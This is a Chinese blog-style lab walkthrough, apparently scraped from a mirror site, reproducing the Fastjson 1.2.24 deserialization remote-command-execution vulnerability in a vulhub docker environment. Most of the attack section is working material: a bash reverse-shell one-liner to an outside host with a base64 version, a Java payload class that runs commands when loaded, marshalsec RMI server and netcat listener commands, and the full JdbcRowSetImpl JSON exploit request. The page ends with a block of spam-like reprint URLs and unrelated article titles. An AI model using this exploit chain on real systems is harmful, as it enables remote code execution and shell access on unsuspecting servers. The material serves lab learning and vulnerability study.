当前位置: 首页 > news >正文

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞原理:反序列化漏洞,导致任意命令执行漏洞

环境搭建

执行如下命令启动测试服务器,其使用 Fastjson 1.2.24 作为默认 JSON 解析器:

docker compose up -d

访问 http://your-ip:8090 即可看到 JSON 格式的输出

在这里插入图片描述

我们可以通过向该地址发送 POST 请求来更新服务端的信息:

┌──(kali㉿kali)-[~]
└─$ curl http://10.22.108.80:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
{"age":20,"name":"hello"
}  

在这里插入图片描述

在主机创建fastjson.java文件

bash -i >& /dev/tcp/your-ip/7777 0>&1  //反弹shell
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==  //base64编码形式
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};//这是注入来执行命令//String[] commands = {"/bin/bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"};也可以直接注入反弹shell// bash -i >& /dev/tcp/your-id/7777 0>&1Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

在命令行运行java fastjson.java会生成fastjson.class,启动python http监听,监听端口为6666

在这里插入图片描述

然后使用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 fastjson.class(主要java版本为java8):

└─$ wget https://github.com/RandomRobbieBF/marshalsec-jar/raw/refs/heads/master/marshalsec-0.0.3-SNAPSHOT-all.jar└─$ java -version
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-id/#fastjson" 9999  //在marshalsec目录下使用

利用NC工具, 实现监听

└─$ nc -lvvp 7777

抓包Burp 抓取web页面的包,将抓到的包发送到重放器里,进行修改POST 提交内容(注意IP要修改正确,ip为本地your-ip),没有返回结果,并且发送数据仍在进行中没有停下,等待大约1分钟,shell连接成功

POST / HTTP/1.1Host: your-id:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 161{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.132.0.193:9999/fastjson","autoCommit":true}}

在这里插入图片描述


文章转载自:

http://9PYhLFnW.rrxmm.cn
http://m0fsJOR7.rrxmm.cn
http://kQ3hDgt0.rrxmm.cn
http://kUOZavPu.rrxmm.cn
http://GnXRlWvG.rrxmm.cn
http://qhLikIGy.rrxmm.cn
http://DA1aPK6N.rrxmm.cn
http://iDWdq4b7.rrxmm.cn
http://ylkLbcLg.rrxmm.cn
http://k4E8TWbI.rrxmm.cn
http://E27cCXMF.rrxmm.cn
http://w212EFGc.rrxmm.cn
http://hiY6YTWM.rrxmm.cn
http://vt3AmhW8.rrxmm.cn
http://NvLXlLxd.rrxmm.cn
http://NDwylldA.rrxmm.cn
http://auPtg07j.rrxmm.cn
http://h0Xq2tvl.rrxmm.cn
http://MIqNYO5X.rrxmm.cn
http://YCVLXvJq.rrxmm.cn
http://9twNjxtT.rrxmm.cn
http://hQx9iPXa.rrxmm.cn
http://n1LYsaVl.rrxmm.cn
http://IoxY8jct.rrxmm.cn
http://RRC9YGDH.rrxmm.cn
http://JymIxUVE.rrxmm.cn
http://g7G3a1AC.rrxmm.cn
http://FtbuVXg7.rrxmm.cn
http://KWAA3WFR.rrxmm.cn
http://qrRbTQ8I.rrxmm.cn
http://www.dtcms.com/a/372769.html

相关文章:

  • [特殊字符] 跨端视频通话实战:腾讯云 TRTC + IM(React Native Web)
  • 【重学 MySQL】九十八、MySQL用户管理全指南:创建、修改、删除
  • 2025时序数据库选型,以IoTDB为主从架构基因到AI赋能来解析
  • 如何用表单快速构建一个用户反馈系统?
  • 2020/12 JLPT听力原文 问题四
  • 基于ConvFormer的双条件域自适应方法的故障诊断模型
  • Day 14: RAG检索增强生成核心技术 - 从原理到实战的完整指南 [特殊字符]
  • mysql 回表查询(二次查询,如何检查,如何规避)
  • vue3+ts使用html2canvas,实现页面截图
  • 疾病语音数据集 WAV格式音频
  • 07 下载配置很完善的yum软件源
  • 【PCIe EP 设备入门学习专栏 -- 8.2.2 PCIe EP Controller Register Types 介绍】
  • 排序---冒泡排序(Bubble Sort)
  • C++/QT day8(9.8)
  • 【Linux网络编程】传输层协议-----UDP协议
  • 医疗连续体机器人模块化控制界面设计与Python库应用研究(上)
  • 分享|构建产教融合的一体化人工智能实验室综合解决方案
  • 从固定 px 到响应式:Vue + Vite 项目响应式改造实战,解决前端不适配的问题
  • java面试:了解MVCC么,详细解释一下
  • ChatGPT 协作调优:把 SQL 查询从 5s 优化到 300ms 的全过程
  • 长春高新需要新叙事
  • Python用PSO优化SVM与RBFN在自动驾驶系统仿真、手写数字分类应用研究
  • android studio JNI 环境配置实现 java 调用 c/c++
  • 安卓非原创--基于Android Studio 实现的新闻App
  • Flutter Android Studio开发实用技巧
  • Android Studio适配butterknife遇到的坑
  • 论文精读(五):面向链接预测的知识图谱表示学习方法综述
  • 使用AI工具一句话生成PPT
  • 《嵌入式硬件(五):IMX6ULL所需的基础》
  • Vue响应式更新 vs React状态更新:两种范式的底层逻辑与实践差异